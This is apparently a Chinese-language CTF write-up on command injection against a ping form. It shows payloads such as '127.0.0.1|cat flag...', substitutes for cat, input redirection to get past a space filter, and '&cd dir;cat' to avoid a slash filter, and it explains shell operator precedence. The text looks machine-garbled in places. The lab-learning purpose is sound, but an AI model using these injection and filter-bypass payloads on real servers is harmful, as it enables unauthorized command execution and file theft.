共计 1068 个字符,预计需要花费 3 分钟才能阅读完成。
过滤 cat
REC 破绽 结构 payload 获取根目录信息
payload=0.0.0.0;ls
flag 就在根目录中
获取 flag payload=127.0.0.1|cat flag_113311162723831.php
无奈间接获取 flag,后盾进行了 cat 过滤,当命令中呈现 cat 时,会返回&m
(正则化匹配后果)
知识点:能够应用应用其余命令替换cat
tac more less head tail nl
payload=127.0.0.1|head flag_113311162723831.php
输入内容为空
可能是内容被正文掉了
查看源代码
失去 flag
过滤空格
显示以后文件夹信息 payload=127.0.0.1|ls
获取 flag payload=127.0.0.1|cat flag_113311162723831.php
逻辑上过滤了空格
知识点:能够应用 <
%20
%09
代替
输出重定向符号 从文件中读取输出并提供给命令,而不是从键盘输入
%20 URL 编码中示意空格符号
%09 URL 编码中示意 tab 符号
payload=127.0.0.1|cat<flag_113311162723831.php
查看源代码,失去 flag
过滤目录分隔符
显示以后文件夹信息 payload=127.0.0.1|ls
显示 flag_is_here 文件夹信息 payload=127.0.0.1|ls flag_is_here
获取 flag payload=127.0.0.1|ls flag_is_here/flag_302302826525570.php
然而这里过滤了 /
目录分隔符
办法一:分解成三条命令 payload=127.0.0.1&cd flag_is_here;cat flag_302302826525570.php
失去 flag
问题:为什么 payload=127.0.0.1|cd flag_is_here;ls
是显示后果是
而 payload=127.0.0.1&cd flag_is_here;ls
后果却是
就像这样
首先是符号具备优先级
| > ; > &
对于 127.0.0.1|cd flag_is_here;ls
|
运算符会先创立一个管道(子过程)用于将前后两个命令连接起来,所以 ping 127.0.0.1
和cd flag_is_here
是在子过程中进行的,不影响父过程,两个命令执行完之后,父过程中最初执行 ls
对于 127.0.0.1&cd flag_is_here;ls
127.0.0.1&
中的 &
会使 ping 127.0.0.1
在后盾进行,从而不阻塞以后 shell 提示符。而后 cd flag_is_here;ls
会被执行